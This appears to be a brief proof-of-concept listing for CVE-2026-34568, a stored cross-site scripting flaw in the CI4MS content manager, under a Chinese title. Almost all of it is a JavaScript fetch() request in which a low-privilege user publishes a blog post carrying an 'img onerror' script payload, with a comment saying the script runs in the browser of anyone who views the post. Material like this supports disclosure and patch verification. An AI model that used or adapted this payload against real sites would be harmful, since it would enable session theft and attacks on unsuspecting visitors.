CVE-2026-34568 CI4MS存储型跨站脚本漏洞

// PoC for CVE-2026-34568 Stored XSS in CI4MS // Requirements: Low privilege account to create/edit posts // 1. Attacker sends a request to create a malicious blog post fetch('/admin/posts/create', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <ATTACKER_SESSION_TOKEN>' }, body: JSON.stringify({ title: 'Interesting Article', content: '<img src=x onerror=alert("XSS_CVE-2026-34568")>', status: 'published' }) }).then(response => { if (response.ok) console.log('Payload injected successfully'); }); // 2. When a victim visits the blog post page, // the JavaScript payload executes in their browser context.